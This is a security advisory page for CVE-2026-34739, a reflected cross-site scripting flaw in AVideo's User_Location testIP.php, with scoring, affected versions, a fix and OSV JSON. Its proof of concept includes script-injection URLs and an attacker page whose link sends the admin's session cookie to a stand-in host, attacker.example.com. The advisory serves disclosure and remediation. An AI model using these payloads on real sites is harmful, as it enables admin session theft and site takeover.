CVE-2026-34739: AVideo Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-jqrj-chh6-8h78
CVSS 6.1
CWE-79
Published
Advisory Summary

CVE-2026-34739 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting AVideo libraries in the Packagist ecosystem. The issue involves reflected xss via unescaped ip parameter in user_location testip.php. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34739 at a Glance

CVE Identifier CVE-2026-34739
GHSA Identifier GHSA-jqrj-chh6-8h78
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-34739

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34739, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The User_Location plugin's `testIP.php` page reflects the `ip` request parameter directly into an HTML input element without applying `htmlspecialchars()` or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's `SameSite=None` cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session. ## Details At `plugin/User_Location/testIP.php:16`, the `ip` parameter is read from the request without sanitization: ```php $ip = $_REQUEST['ip']; ``` At line 34, the value is echoed directly into an HTML input element's `value` attribute: ```php <input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>"> ``` No `htmlspecialchars()` is applied, allowing an attacker to break out of the `value` attribute and inject arbitrary HTML/JavaScript. While the page requires admin authentication to access, AVideo sets session cookies with `SameSite=None`. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session. ## Proof of Concept 1. Craft a URL with a payload that breaks out of the input value attribute: ``` https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip="><script>alert(document.cookie)</script> ``` 2. URL-encoded version for embedding in links: ``` https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E ``` 3. The resulting HTML rendered in the browser: ```html <input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>"> ``` 4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page: ```html <!-- attacker-page.html --> <html> <body> <p>Click here to check your IP geolocation:</p> <a href="https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E"> Check IP Location </a> </body> </html> ``` 5. When an admin clicks the link, their session cookie is sent (due to `SameSite=None`), and the JavaScript executes in their authenticated session. ## Impact An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses `SameSite=None` for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action. - **CWE-79**: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) - **Severity**: Medium ## Recommended Fix Apply `htmlspecialchars()` when outputting the `$ip` variable at `plugin/User_Location/testIP.php:34`: ```php // plugin/User_Location/testIP.php:34 <input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>"> ``` --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-34739 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34739?
CVE-2026-34739 is a security vulnerability in AVideo involving Reflected XSS via Unescaped ip Parameter in User_Location testIP.php under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34739?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34739?
CVE-2026-34739 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-34739?
CVE-2026-34739 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-34739?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jqrj-chh6-8h78",
  "modified" : "2026-04-01T21:08:14Z",
  "published" : "2026-04-01T21:08:14Z",
  "aliases" : [ "CVE-2026-34739" ],
  "summary" : "AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php",
  "details" : "## Summary\n\nThe User_Location plugin's `testIP.php` page reflects the `ip` request parameter directly into an HTML input element without applying `htmlspecialchars()` or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's `SameSite=None` cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.\n\n## Details\n\nAt `plugin/User_Location/testIP.php:16`, the `ip` parameter is read from the request without sanitization:\n\n```php\n$ip = $_REQUEST['ip'];\n```\n\nAt line 34, the value is echoed directly into an HTML input element's `value` attribute:\n\n```php\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"<?php echo $ip; ?>\">\n```\n\nNo `htmlspecialchars()` is applied, allowing an attacker to break out of the `value` attribute and inject arbitrary HTML/JavaScript.\n\nWhile the page requires admin authentication to access, AVideo sets session cookies with `SameSite=None`. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.\n\n## Proof of Concept\n\n1. Craft a URL with a payload that breaks out of the input value attribute:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=\"><script>alert(document.cookie)</script>\n```\n\n2. URL-encoded version for embedding in links:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\n```\n\n3. The resulting HTML rendered in the browser:\n\n```html\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"\"><script>alert(document.cookie)</script>\">\n```\n\n4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:\n\n```html\n<!-- attacker-page.html -->\n<html>\n<body>\n<p>Click here to check your IP geolocation:</p>\n<a href=\"https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E\">\n  Check IP Location\n</a>\n</body>\n</html>\n```\n\n5. When an admin clicks the link, their session cookie is sent (due to `SameSite=None`), and the JavaScript executes in their authenticated session.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses `SameSite=None` for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n- **Severity**: Medium\n\n## Recommended Fix\n\nApply `htmlspecialchars()` when outputting the `$ip` variable at `plugin/User_Location/testIP.php:34`:\n\n```php\n// plugin/User_Location/testIP.php:34\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>\">\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-jqrj-chh6-8h78"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34739"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/31e6888e40be89cc2ab27d4cef449f6d8339ffb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:08:14Z",
    "nvd_published_at" : "2026-03-31T21:16:32Z"
  }
}